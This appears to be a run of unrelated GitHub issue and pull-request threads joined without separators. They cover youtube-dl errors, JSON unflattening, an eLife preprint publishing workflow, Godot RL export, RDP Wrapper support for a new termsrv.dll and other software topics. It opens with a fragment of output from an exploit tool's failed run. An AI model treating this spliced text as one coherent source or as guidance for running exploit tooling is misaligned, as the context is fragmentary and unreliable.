[+][error] Exploit failed: stat /bin/phNS9hpK_xJfOc: no such file or directory
[+] Continuing to look for opportunities
[+] Nothing found to exploit.

Are you sure you installed it with CGO_ENABLED=0 ?
I had the same error, and using it fixed my problem.


Can't download from streamin.to

$ youtube-dl -v "http://streamin.to/embed-lgri82v8szvp-852x460.html"
[debug] System config: []
[debug] User config: []
[debug] Command-line args: [u'-v', u'http://streamin.to/embed-lgri82v8szvp-852x460.html']
[debug] Encodings: locale UTF-8, fs utf-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2<IP_ADDRESS>
[debug] Python version 2.7.10 - Darwin-15.6.0-x86_64-i386-64bit
[debug] exe versions: ffmpeg 2.8, ffprobe 2.8
[debug] Proxy map: {}
[XFileShare] lgri82v8szvp: Downloading webpage
[XFileShare] lgri82v8szvp: Waiting for 5 seconds
[XFileShare] lgri82v8szvp: Downloading video page
ERROR: Unable to extract OpenGraph title; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 691, in extract_info
    ie_result = ie.extract(url)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 347, in extract
    return self._real_extract(url)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/xfileshare.py", line 132, in _real_extract
    webpage, 'title', default=None) or self._og_search_title(webpage)).strip()
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 759, in _og_search_title
    return self._og_search_property('title', html, **kargs)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 747, in _og_search_property
    escaped = self._search_regex(og_regexes, html, name, flags=re.DOTALL, **kargs)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 650, in _search_regex
    raise RegexNotFoundError('Unable to extract %s' % _name)
RegexNotFoundError: Unable to extract OpenGraph title; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.

$ youtube-dl --version
2<IP_ADDRESS>

Is it not worth to make one extractor per provider? Here we just have to regex the url jwplayer

It's already there if you bother to check the log.

Sorry, I would say 'per site'
class XFileShareIE(InfoExtractor):
_SITES = (
('daclips.in', 'DaClips'),
('filehoot.com', 'FileHoot'),
('gorillavid.in', 'GorillaVid'),
('movpod.in', 'MovPod'),
('powerwatch.pw', 'PowerWatch'),
('rapidvideo.ws', 'Rapidvideo.ws'),
('thevideobee.to', 'TheVideoBee'),
('vidto.me', 'Vidto'),
('streamin.to', 'Streamin.To'),
('xvidstage.com', 'XVIDSTAGE'),
)
One for vidto.me, one for streamin etc...

That's pointless. There is no matter where to add regexes.


Fedora 26 is not registering path

I have installed jevn in Fedora 26 and trying to follow readme commands. but it seems that is it putting those bash entry before export PATH.
would be good to update readme with those instruction that if use has command not found error then would be good to check bash_profile file.

I ended up putting it directly into the PATH variable in terminal:
PATH=$PATH:$HOME/.jenv/bin


Feature-Improvement

Related Issue
Closes #1240
[Feature] Feature section style and content improvement
Description
Improved Feature section by adding good animation and relevant content
Screenshots (if applicable)
https://github.com/rohansx/informatician/assets/86224794/f0c9556a-89b2-4d0c-ab17-ffa4d2efd3c9
Checklist

[x] My code adheres to the established style guidelines of the project.
[x] I have included comments in areas that may be difficult to understand.
[x] My changes have not introduced any new warnings.
[x] I have conducted a self-review of my code.

@crocmons or @SiddhantPawar03 please review this PR!!

@SiddhantPawar03  only one hour left . Please review.

@AlfiyaSiddique there is conflict. pleasse resolve asap

@rohansx Resolved the conflicts.

@rohansx Resolved the conflicts and updated the branch, Please Review.


⚠ Samsung has degraded performance

In 1be731a, Samsung (https://samsung.com) experienced degraded performance:

HTTP code: 200
Response time: 2601 ms

Resolved: Samsung performance has improved in c32c64f.


fix issue#1989: only consider continuous numbers

In unflatten we just consider creating object, which means when we meet continuous numbers, we also unflatten to an object to represent the actual array. And then we convert those object with continuous numbers key to array.
https://github.com/nlohmann/json/issues/1989#issuecomment-626424778

Pull request checklist
Read the Contribution Guidelines for detailed information.

[ ]  Changes are described in the pull request, or an existing issue is referenced.
[ ]  The test suite compiles and runs without error.
[ ]  Code coverage is 100%. Test cases can be added by editing the test suite.
[ ]  The source code is amalgamated; that is, after making changes to the sources in the include/nlohmann directory, run make amalgamate to create the single-header file single_include/nlohmann/json.hpp. The whole process is described here.

Please don't

The C++11 support varies between different compilers and versions. Please note the list of supported compilers. Some compilers like GCC 4.7 (and earlier), Clang 3.3 (and earlier), or Microsoft Visual Studio 13.0 and earlier are known not to work due to missing or incomplete C++11 support. Please refrain from proposing changes that work around these compiler's limitations with #ifdefs or other means.
Specifically, I am aware of compilation problems with Microsoft Visual Studio (there even is an issue label for these kind of bugs). I understand that even in 2016, complete C++11 support isn't there yet. But please also understand that I do not want to drop features or uglify the code just to make Microsoft's sub-standard compiler happy. The past has shown that there are ways to express the functionality such that the code compiles with the most recent MSVC - unfortunately, this is not the main objective of the project.
Please refrain from proposing changes that would break JSON conformance. If you propose a conformant extension of JSON to be supported by the library, please motivate this extension.
Please do not open pull requests that address multiple issues.

Coverage increased (+0.0001%) to 99.941% when pulling 00cbf8a1058a277f0fe250c282047cd1f547b8f2 on dota17:unflatten into 5cfa8a586ee1a656190491c1de20a82fb40fab5d on nlohmann:develop.

Please restart the job. It seems like a timeout error.

Keep alive.
Is there any new review or idea about this?

I am hesitant on this issue as it will break existing code in the sense that the unflattened values will differ.

the unflattened values will differ.

The problem is that the different Json values can be flattened to the same result. Thus, we can not know which one is the origin one.
For the ambiguous cases, we should take a clear rule to decide which one is preferred.

it will break existing code

Maybe unflatten is a sick funtion.
If we don't break, the origin function will still throw an exception for some scenarios that should be supported. Maybe we can clear the doc or comment to explain the abnormal situation.
Or add an option to keep the origin code. https://github.com/nlohmann/json/issues/1575#issuecomment-516981344
Honestly, I don't know why the feature is included and which reference functions it is. The infos may help a lot.


Bug: Chroma().add_texts() return empty ids list when metadata is not None

System Info
LangChain version: '0.0.238'
Who can help?
SemanticSimilarityExampleSelector().add_example() raise "IndexError" exception due to empty list ids returned from Chroma().add_texts() when metadata is not None.
@hwchase17
Information

[ ] The official example notebooks/scripts
[ ] My own modified scripts

Related Components

[ ] LLMs/Chat Models
[ ] Embedding Models
[ ] Prompts / Prompt Templates / Prompt Selectors
[ ] Output Parsers
[ ] Document Loaders
[X] Vector Stores / Retrievers
[ ] Memory
[ ] Agents / Agent Executors
[ ] Tools / Toolkits
[ ] Chains
[ ] Callbacks/Tracing
[ ] Async

Reproduction
from langchain.prompts.example_selector.semantic_similarity import SemanticSimilarityExampleSelector
from langchain.vectorstores import Chroma
from langchain.embeddings.huggingface import HuggingFaceEmbeddings
examples_dict = [{'a':'b'}]
embedding_function = HuggingFaceEmbeddings(model_name="sentence-transformers/all-MiniLM-L6-v2")
example_selector = SemanticSimilarityExampleSelector.from_examples(
# This is the list of examples available to select from.
examples_dict,
# This is the embedding class used to produce embeddings which are used to measure semantic similarity.
embedding_function,
# This is the VectorStore class that is used to store the embeddings and do a similarity search over.
Chroma,  # type: ignore
# This is the number of examples to produce and include per prompt
k=min(3, len(examples_dict)),
)
example_selector.add_example(examples_dict[0])
Expected behavior
ids returned from Chroma().add_texts() should be a list of ids of texts are added

I think this issue was introduced here: #7643
@baskaryan

It seems like a duplicate of https://github.com/hwchase17/langchain/issues/7865. I am fixing it :)

Will close this issue since it is duplicated. Thx!


Automatic task ending is not active

When all teams within a task have submitted one correct item (and only one item per team is allowed), the task should end automatically. This isn't currently the case.
In addition, #368 could be tackled as well

Fixed! The new implementation should also cover the case outlined in #368!


MSID: 89337 Version: 2 DOI: 10.48550/arXiv.2301.00759

MSID: 89337
Version: 2
Preprint DOI: https://doi.org/10.48550/arXiv.2301.00759
Step 1. Awaiting reviews
Editorial to post reviews via hypothesis
Useful links:

DocMap: https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=89337
New model tracking: https://docs.google.com/spreadsheets/d/1_fHaoOy7hjyocptKtVJRijeNpUY4hBS7Ck_aVmx6ZJk/
Reviews on sciety: https://sciety.org/articles/activity/10.48550/arXiv.2301.00759

For trouble shooting (e.g. no Docmaps available):

DocMap issue addressing: https://miro.com/app/board/uXjVNCwK6EI=/
Explore DataHub DocMaps API: https://lookerstudio.google.com/reporting/4c2f0368-babb-4beb-b5b3-497e7e7b0f08/page/ejphD
Unmatched submissions and preprints: https://lookerstudio.google.com/u/0/reporting/9f86204f-3bf7-477c-9b18-5c5ef141bf69/page/p_gxi57ha93c
Unmatched manuscripts spreadsheet: https://docs.google.com/spreadsheets/d/15QcK8w-ssB7109RQEDtFpJPZ0J5HTGxoHa_2TtpMBbg/edit#gid=1336081641

Step 2. Preview reviewed preprint
Production QC content ahead of publication
Instructions:

QC preview: https://prod--epp.elifesciences.org/previews/89337v2
Update ticket with any problems (add blocked label)
When QC OK, add QC OK label to ticket and add publication date and time to https://docs.google.com/spreadsheets/d/1amAlKvdLcaDp5W8Z8g77NmkwbMF5n_u89ArSqPMO8jg
Move card to next column
(At end of the day post link in #enhanced-preprint and ask for PDF to be generated)

Useful links:

Preprint DOI :  https://doi.org/10.48550/arXiv.2301.00759
Confirm reviews returned by EPP: https://prod--epp.elifesciences.org/api/reviewed-preprints/89337/v2/reviews
To update the MECA path in the docmap: https://docs.google.com/spreadsheets/d/1mctCQuNFBjSn97Lihy7_vBO6z7-N-oqyLv4clyi6zHg

Step 3: Awaiting search reindex
This step adds the reviewed preprint to the homepage: https://elifesciences.org
The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.
Useful links:

Jenkins pipeline to reindex search can be triggered sooner or monitored here: https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 4: Published! PDF requested
Waiting for PDF to be generated
Useful links:

PDF tracking: https://docs.google.com/spreadsheets/d/106_XeDjmuBae7gexOTNzg60lapeqjl2aRn9DzupGyS8/

Step 5: Introduce PDF to data folder and git repo
Upload PDF to relevent folder in git repo https://github.com/elifesciences/enhanced-preprints-data/
Step 6: Done!

[ ] Kettle is on!

I'm not sure the correct version of the article has been loaded here. I'm seeing discrepancies between this and what's in the meca package http://prod-elife-epp-meca.s3.amazonaws.com/89337-v2-meca.zip.
E.g. there should be four affiliations, extra text in the legend for Figure 1 etc.

Thanks James. On Temporal, I see that the workflow has failed. The message is:
"cause": {
    "message": "Preprint doesn't have a published date",
    "source": "TypeScriptSDK",
    "stackTrace": "NonRetryableError: Preprint doesn't have a published date\n    at Activity.generateVersionJson [as fn] (/app/src/activities/generate-version-json.ts:32:11)",
    "encodedAttributes": null,
    "cause": null,
    "applicationFailureInfo": {
      "type": "NonRetryableError",
      "nonRetryable": false,
      "details": null
    }

In the docmap we have a missing publicaiton date for the preprint it seems:
"inputs": [
    {
        "type": "preprint",
        "doi": "10.48550/arXiv.2301.00759",
        "url": "https://arxiv.org/abs/2301.00759v3",
        "versionIdentifier": "3",
        "content": [
            {
                "type": "computer-file",
                "url": "s3://prod-elife-epp-meca/89337-v2-meca.zip"
            }
        ]
    }
],

So I'm adding the preprint v3 pub date to this spreadsheet in order for the preprint v3 publication date to be introduced into the DocMap.
I hope that once this is recognised by DataHub (hopefully within the next few hours), EPP will recognise the DocMap has updated, and will import the content at s3://prod-elife-epp-meca/89337-v2-meca.zip.
I think the preview must be showing the old content for now (which isn't particularly helpful behaviour).

@acollings do you know if there should be an author response on the v2 of this one?

@fred-atherden Just to check - this is a v2, not a v3. Is the discrepancy deliberate?

@JGilbert-eLife, sorry I was referring to the preprint version (reviewed preprint v1 =  preprint v2; reviewed preprint v2 = preprint v3). Let me know if that's not what you were expecting.

Ah, of course! Thanks for clarifying!

Hi @fred-atherden, yes! A couple of things. We're missing the author response but also the review here, https://prod--epp.elifesciences.org/previews/89337v2/reviews#tab-content (and assessment), is the original one, not the updated one.
So I think something has gone horribly wrong with the posting of the assessment/reviews/response. I've got a query out to Sue.

Thanks Andy!
Apologies, I think the behaviour of EPP is really quite bizarre if a preprint match can't be found. I believe the v2 preview is actually just showing the preview for the v1, which would explain the mismatch for the reviews. I think EPP first pulls in the preprint content and then the reviews.  If it fails to pull in the preprint content it will fail to pull in the latest reviews, and by default it will just show previous content (when ideally it would show an error page or similar).
For the v2 in the DocMap we have the following in the DocMap:

https://hypothes.is/a/8uIrvrkUEe6bw99umD-InQ
https://hypothes.is/a/8mcTerkUEe6XO89ruw5zTg

Aside from the missing author response, if these two look correct to you then we're likely OK for the reviews.

Doesn't look like the preprint date has made it's way to the DocMap yet. I have asked Hazal in slack here.

Hi @fred-atherden cool, thanks! That's good. The author response was also posted on Jan 22:
https://hyp.is/3bp4hrl4Ee6jLV85xpEAvA/arxiv.org/abs/2301.00759
Can you let me know if we should delete them all and repost? Not really sure what to do next! :-)

Hi @acollings. It looks like the author response has been added to https://arxiv.org/abs/2301.00759 instead of https://arxiv.org/abs/2301.00759v3, meaning it has now appeared on the RPv1.
If you don't mind, I think it would be worth deleting them all and reposting them to the v3 link.

@JGilbert-eLife the preprint content should now be fixed I think. Might be worth waiting for the reviews before QCing again in any case.

(The reviews have been reposted)

Article QC is OK but reviews not updated yet -- and I see there's an issue with the pipelines this morning so I'll check again later.

Hi @acollings, this is what we have now:

They're all on the same unversioned link.
Any ideas on how to post? Is this an issue with Kotahi?
Links in case they're useful:

https://hypothes.is/a/--DF3r9gEe6G7s9WsNhNkg
https://hypothes.is/a/EJLAmr9hEe6RmJdDXRumLw
https://hypothes.is/a/BqcUjL9hEe6s-7t7c43l1w
https://hypothes.is/a/EwV6ir6JEe6-ZntVuZRicA
https://hypothes.is/a/HYCHcL6JEe66TttGip3pgA

Thanks @fred-atherden Sue and I have tried deleting/re-posting several times to no avail, and I've tried using hypothes.is directly. I think we probably need some help (from Hazal or Daniel)? I don't mind deleting/re-posting, but at this point I don't know what we've done wrong in previous attempts (or what to try next)!

Thanks Andy! No worries.
@de-code, @hazalCiplak. Any suggestions on how to proceed here? We can't seem to be able to get the hypothesis comments attached to the right preprint versions, so that dataHub can associate them with the right RP version

We experienced the issue previously in #1863
The solution was to re-post the Hypothes.is annotation via Kotahi rather than manually via the browser.
The latter won't post for the specific version. That will be an issue in any case when trying to add evaluations to multiple versions.
I would like to explore the option of updating the URL of a Hypothes.is annotation via an API though.
That is because deleting Hypothes.is annotation has some undesired side effects:

Ingestion pipelines like in Sciety and Data Hub won't get notified of the deletion (hence we keep a list)
The creation date changes, which can be confusing

I don't know whether the Hypothes.is URL can be updated via the API. I could try that tomorrow.

Thanks! Both sets re-posted using Kotahi.

I've also investigated updating the preprint URL via the API and I can confirm that it works (I tested it with a private annotation using my own account).
I would propose to do that going forward. Ideally Kotahi had the option to do, but we could also think about alternatives. In the short term we could do that manually.

Many thanks @de-code!
@JGilbert-eLife, do you think we're good to go now?


Fix reference to base version and formatting

Nice catch—thanks, Jason! Please add yourself to the CopyrightWaivers.txt in this PR before I can go ahead and merge this PR! ^^

@viktorklang I'm in there now :)

@retronym Awesome, thanks Jason!


Staging next

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

Notify maintainers
cc @

are you going to merge master into this? ~7 conflicts need to be resolved.
I would do it, but don't want to step on your toes. Also, I need to leave for work :(

resolved merge conflicts, the conflicted packages seem to be building fine locally

Sorry about creating this mess, I was cherry-picking the compatible changes from #72074 and the did not notice changes in dependent files from master. NIX_* are in fact environment variables so they need to be strings, not arrays (and it is going to be enforced by #72074) – only because of these unnoticed conflicts the eval failed.
I have reverted your fixes and merged staging where proper fixes were introduced:

hspell: 49e485925632fd1a75b29cc4334f69e8fc09464a
libreoffice: 2093fa784a02b45628ed360d66cab75e5022eb96
virtualbox’s iasl: 21280e418da32bb309be0ce5b97afac8efdbad1c

I have decided to restart the cycle by merging staging here because it also includes lot of build fixes to issues I introduced yesterday, even if they do not impact evaluation.

sounds good to me, just tryingto get ofborg to eval it

Hydra is stuck evaluating staging-next
https://hydra.nixos.org/jobset/nixpkgs/staging-next

hurray!


Refresh expired id token (JWT) on client using TokenClient.requestAccessToken()?

Part of this was previously discussed in Issue 9 which ended with the reasonable recommendation to use the  Authorization code flow and have the backend obtain access, refresh and id tokens.
However, I did find some new information regarding the possibility of refreshing the id token (JWT) on the client (React) side and thought it might make sense to create a new issue for this specific question... Thanks again @MomenSherif for your patience. 🥇
Background:
Possibly a lot of folks interested in this new react-oath library have previously used the popular react-google-login library.  JWT token expiration after 1 hour was an issue people also struggled with using the react-google-login as seen in numerous Github issues on the react-google-login project.
There's some confusion (at least for me) whether it is possible to refresh the id token (JWT) from the client without requiring both the client id and secret. I did find this Blog post which provides a solution using the deprecated gapi library: Add Google Login to your React Apps in 10 mins.
As discussed in the blog post (and the code in Github):

This function checks for expires_in timestamp or our custom time (before the token expires) and calls reloadAuthResponse which is a util function provided by the library and it handles refresh_token and obtains new tokenId.

As far as I can tell, this reloadAuthResponse() function does get a new id token with new expiration date without requiring both the client id and secret on in React.
Google's Migrate to Google Identity Services does mention replacing GoogleUser.reloadAuthResponse() with TokenClient.requestAccessToken() and states:

Create a single reentrant function containing requestAccessToken(), call it when an access token is first needed, and later, after the existing token expires and Google API calls return a 401 Unauthorized status code response.

Do I understand correctly this may be a way using the new API to replace expired JWT tokens? Or is this specific to requesting new access tokens?

TokenClient.requestAccessToken unfortunately it will not refresh the token, It will just open the dialog to login
They mention here to open the dialog again for users to authenticate and obtain new token
You can check useGoogleLogin implementation the return function is just a wrapper around this.
They did that to improve security

You can find all details here
https://developers.google.com/identity/oauth2/web/guides/overview

Ah! Ok. Let's close this Issue. I have a feeling others will have the same question so hopefully this Issue will be helpful for them.


Vreshnak gets hit by choya or whatever his name is

So in the lizard fight, Vreshnak gets hit by Dusk (I attack him) - but also Choya. In fact, Vreshnak turned red, thus hostile, which seems to have caused Choya to attack him. This is, I believe, a similar bug to the earlier bug I reported elsewhere about Lava's mod, where the White Queen talks, meanwhile her golems turn hostile and then she attacks them. I begin to believe this may be some mod causing issues; either way I believe a possible fix may be to turn all enemies hostile at the same time. This avoids or perhaps mitigates the issue of them attacking their buddies. (Though perhaps there are other possible fixes. I just noticed this for the second time, and not in prior installations, so perhaps another mod interferes here. For instance a mod that modifies the AI.)

This happens because of the creature's script. I think Cho is set to attack hostile creatures despite being a neutral creature. I just added a short timer so that, instead of attacking, he waits a few seconds. This should give him enough time to flee instead of staying around to hit his friend a couple of times, haha.

I’ve added a patch to Cho’s script to prevent this from happening. However, if there is another mod that applies changes to creature scripts, the issue may still persist. Hopefully, this patch will resolve it in the next update.


[WIP] Change distribution name and commands to jballerina

Purpose
Rename ballerina distribution name and commands to jballerina.
Fixes #15220
Remarks
Todo: https://github.com/ballerina-platform/ballerina-lang/issues/15221
Check List

[x] Read the Contributing Guide
[ ] Required Balo version update
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[ ] Added necessary tests

[ ] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Codecov Report

Merging #15225 into master will increase coverage by 30.07%.
The diff coverage is 0%.

@@              Coverage Diff              @@
##             master   #15225       +/-   ##
=============================================
+ Coverage     16.49%   46.57%   +30.07%
- Complexity        0     4995     +4995
=============================================
  Files            43      882      +839
  Lines          1285    33413    +32128
  Branches        212     5298     +5086
=============================================
+ Hits            212    15561    +15349
- Misses         1060    16150    +15090
- Partials         13     1702     +1689

Impacted Files
Coverage Δ
Complexity Δ

...ngserver/command/executors/PullModuleExecutor.java
7.89% <0%> (ø)
3 <0> (?)

.../org/ballerinalang/docgen/cmd/BallerinaDocCmd.java
0% <0%> (ø)
0 <0> (?)

.../org/ballerinalang/stdlib/time/util/TimeUtils.java
77.27% <0%> (ø)
6% <0%> (?)

...alang/langserver/index/dto/BFunctionSymbolDTO.java
70% <0%> (ø)
3% <0%> (?)

...llerinalang/net/http/nativeimpl/session/GetId.java
0% <0%> (ø)
0% <0%> (?)

...va/org/ballerinalang/net/grpc/OutboundMessage.java
0% <0%> (ø)
0% <0%> (?)

...rg/ballerinalang/mime/nativeimpl/SetBodyParts.java
100% <0%> (ø)
2% <0%> (?)

...llerinalang/langserver/completions/SymbolInfo.java
68.96% <0%> (ø)
8% <0%> (?)

.../net/grpc/listener/StreamingServerCallHandler.java
0% <0%> (ø)
0% <0%> (?)

...inalang/net/grpc/nativeimpl/headers/RemoveAll.java
14.28% <0%> (ø)
1% <0%> (?)

... and 831 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8174d15...9cd1881. Read the comment docs.

We have create new pack for jballerina from PR https://github.com/ballerina-platform/ballerina-lang/pull/15259 .  I will send separate PR for BBE and other related changes. Hence closing this.


Provide toggle context to children

I realised there was no way for the toggle to pass its state to the Budibase app. I'm creating this PR for you because I had to figure out how to use the context myself 😅  - I'll follow up with some docs tomorrow hopefully.

So the context provides bindings to the children. You then need to add the Provider component to expose those bindings to the children, which are indicated by the generic <slot />.

There's a couple of other things you could have done instead. One is as a form component, another would be to add the onClick event:
{
    "type": "event",
    "label": "On Click",
    "key": "onClick"
  }

I think the context provider works well for something like a toggle.

Thanks for contributing this, that looks awesome. 🥰


Exporting A Game. How it works?

So, First of all, this is an awesome project, thanks for that!
Did you tested on exported games? I took some read and seems to exist pre-trained models, so how is the approach to have an exported game which doesnt need dependencies (like python or so)?

Thanks for such a positive comment and first issue.
Regarding model export, currently the model is always hosted in python, which means python is a dependency. But this is one of the key changes that will be made in v0.2.0 (in around 1 month, see the roadmap for other changes due).
I am currently testing using the C# library TorchSharp for loading and running the trained model inside Godot, which will remove the python dependency (once the model is trained).

hmm thanks for the response! Wel When I was looking for How to implement Reiforcement Learning, I was looking for a C++ implementation, because then I could make as a GDExtension (for godot 4) then this would not require any dependencies for end-users, I found some here on gitrhub but no documentation others abandoned! I really want to use this in my project but at the end it needs to be exported, so I can help in the project, (like porting to godot 4) I just wanted a way to do it in c++...

@edbeeching

I am currently testing using the C# library TorchSharp for loading and running the trained model inside Godot, which will remove the python dependency (once the model is trained).

Currently Microsoft is organizing a hackathon for 1 week starting NOW!!!!. They need someone to introduce Godot and Machine learning. If you have some example, please join and share at least one Godot RL example.
If you can give us some help, please check this
Basically, we are trying to use this Godot RL example, but attempting to remove python dependency

I am currently testing using the C# library TorchSharp for loading and running the trained model inside Godot, which will remove the python dependency (once the model is trained).

looking forward to your great work! gdrl is already an amazing tool, potentially providing endless possibilities of game enviroments for testing varing RL algorithms. But, integrating the trained model into Godot engine for inference is much more arractive to us game developers anyway ^_^.

Is there any progress on this? Would be great to be able to use a trained model to do inferencing on a mobile device.

Is there any progress on this? Would be great to be able to use a trained model to do inferencing on a mobile device.

Hello, it is possible to export to onnx:
https://github.com/edbeeching/godot_rl_agents?tab=readme-ov-file#exporting-and-loading-your-trained-agent-in-onnx-format
There's some more info about using the sb3 example file:
https://github.com/edbeeching/godot_rl_agents/blob/main/docs/ADV_STABLE_BASELINES_3.md#train-a-model-in-editor
However, I have only tested this on Windows so far. An additional note is to make sure to copy the onnx file to the same relative path from the exported .exe file as specified in the sync node in Inspector.
In Godot 4.1.2, if I try to select the Android export template, I get an error message that says: Exporting to Android is currently not supported in Godot 4 when using C#/.NET, and we are using C# for inference.

Hi. Yes I think in Godot 4 C# is not supported yet for mobile and web export. It works for 3.5 and is it on the 4.x roadmap. So we are waiting for Godot on this one.

Experimental support for web exports is available in this repo: https://github.com/TechnoLukas/godotrl-web/tree/main
We will try to include this in our next release.


Apply Filters for File Parsers

Required items, please complete
Change(s):

adding ASIM Parsers for each existing vim parser
Adding filters on vim parsers files

Reason for Change(s):

ASIM parsers missing
vim files missing parser filters

Version Updated:

various versions

Testing Completed:

Yes (will be testing each parser)

Checked that the validations are passing and have addressed any issues that are present:

Yes

@vakohl  - Content looks good, but this has some merge conflicts, please resolve it and merge


Update return types + formatting + typos

In this pull request I have completed the below tasks:

Added return types to all functions in mod.ts
Applied formatting to mod.ts by running deno fmt
Resolved a typo in mod.ts
Applied formatting to readme.md
Resolved a typo in readme.md

THANK YOU! All changes merged 🥳
Please reach out to me on our Discord server if you would like me to send you some cool Appwrite stickers and magnets! Please note that shipping might take longer times because of COVID19.
As a way of saying thank you, we have just invited you to join the Appwrite organization on GitHub. You can accept the invite by visiting https://github.com/orgs/appwrite/invitation. By joining our team, you will officially be an Appwrite maintainer on GitHub.
You can change your membership visibility settings, so your new Appwrite team membership badge will show up on your personal GitHub profile.


Search breaks multiselect

Search in multi-select doesn't work as expected. The search itself will display only the matching entries but will keep all rows (with blank for non-matching). When then pressing SPACE on a selection everything vanishes and nothing gets selected.

Now searching somethign

And now pressing SPACE

Are there any updates on this bug fix?

Sorry, I didn't have time yet to look into this. I try to fix it in the next days.

Should be fixed in the latest develop. Could you please test this by installing from GitHub directly?
python3 -m pip install git+https://github.com/IngoMeyer441/simple-term-menu@develop

Since space is used as input in search mode, you can use tab to add or remove selections.

@IngoMeyer441 I tested it and it seems to work fine, thanks!


Wrong commands in troubleshooting section

There are command curl which are now working on windows, please fix it to this:
curl -H @{"Metadata"="true"} "http://<IP_ADDRESS>/metadata/instance?api-version=2017-08-01"

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: c946fe0f-e18d-2529-2fbf-bce04759fbca
Version Independent ID: 885a61d1-6096-5aa0-fe8d-f1ec8d55e542
Content: Sign in to Windows virtual machine in Azure using Azure Active Directory (Preview)
Content Source: articles/active-directory/devices/howto-vm-sign-in-azure-ad-windows.md
Service: active-directory
Sub-service: devices
GitHub Login: @MicrosoftGuyJFlo
Microsoft Alias: joflore

Hi @jjindrich Thanks for your feedback. We will review and update as appropriate.

@MicrosoftGuyJFlo Could this be verified and added to the document ?

In my experience, you need to use the following curl syntax (curl -H Metadata:true "http://<IP_ADDRESS>/metadata...) for the troubleshooting commands to work on a Windows Server 2019 machine (using "-H @{"Metadata"="true"} "http://..." generates an error: "Bad request. Required metadata header not specified")


Windows 11 Insider Preview 10.0.23560.1000 not Supported

termsrv.zip

Please, attach your RDPConf screenshot and termsrv.dll.

Please, attach your RDPConf screenshot and termsrv.dll.

uploaded

uploaded

Your version of the termsrv.dll file does not match the version from RDPConf.
Please check that you took the file from C:\Windows\System32.

Screenshot comparing RDPConf and termsrv.dll

termsrv.zip
sorry, I re-uploaded the right termsrv.dll
thanks

Thanks! Please, wait...

Reopened. Not included in official INI by Stas'M :)


Integration ReactJS & VueJS

Is there any integration for reactJS e vueJS? like https://pypi.org/project/apollo-client/ for python

All other language sdks are collectd to here https://ctripcorp.github.io/apollo/#/zh/usage/third-party-sdks-user-guide

You want access apollo config server from frontend directly?

You want access apollo config server from frontend directly?

i have the same issue

You want access apollo config server from frontend directly?

I need to setup the api url for frontend

Currently there are several nodejs implementations, are they applicable for ReactJS & VueJS? Or maybe we can migrate the main logic from node js implementations to support ReactJS & VueJS?

https://github.com/Quinton/node-apollo
https://github.com/kaelzhang/ctrip-apollo
https://github.com/shinux/node-apollo-client
https://github.com/lvgithub/ctrip-apollo-client
https://github.com/lengyuxuan/apollo-node
https://github.com/xuezier/egg-apollo-client


join node faild

Clean the node first, using kubeadm reset -f on the node.

Clean the node first, using kubeadm reset -f on the node.

this node is a new instance

What your sealer version and join command?

@bxy4543 try to reproduce and fix it.

What your sealer version and join command?

What your sealer version and join command?

sealer 0.2.0
sealer join -n <IP_ADDRESS>

What your sealer version and join command?

What your sealer version and join command?

sealer 0.2.0
sealer join -n <IP_ADDRESS>

<IP_ADDRESS> Has anything been done on this node? Why is the /etc/kubernetes/manifast directory for new instance not empty.
You can try removing /etc/kubernetes/manifast and try sealer join again.

The /etc/kubernetes/manifast directory for join nodes cannot exist


add "udevadm trigger" invocation to discover new bcache devices

Backporting https://github.com/blueboxgroup/ursula/pull/1798 to RELEASE-2.1.x

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

ok to test


Add i18n

Localising is good practice, even if most of this uses lorem ipsum text. The lorem ipsum parts will be "translated" by turning them into different blobs of nonsense.
Languages this will use:

English
German
Italian
Irish (because I am Irish)
French

The initial translation will only focus on the navbar.


Give item name/type in the user interface metadata box

The metadata box on the right in the content pane should list the item (file or aggregation) full name and extension and type at the top when the item is selected.
For example, when I click the excel file, the metadata box should at a minimum give the full file name and the file type. However it says that "No file type metadata exists for this file." which is kind of inconsistent because we clearly know it is an excel file due to the icon change. So that information should be displayed in the metadata box. Full file name and "Microsoft Excel"

Likewise in this case the metadata box should give the full file name and the type "Adobe Acrobat PDF"

One might argue that the user can change to list view to see the full file name and file type but as you can see here, that is not the case:

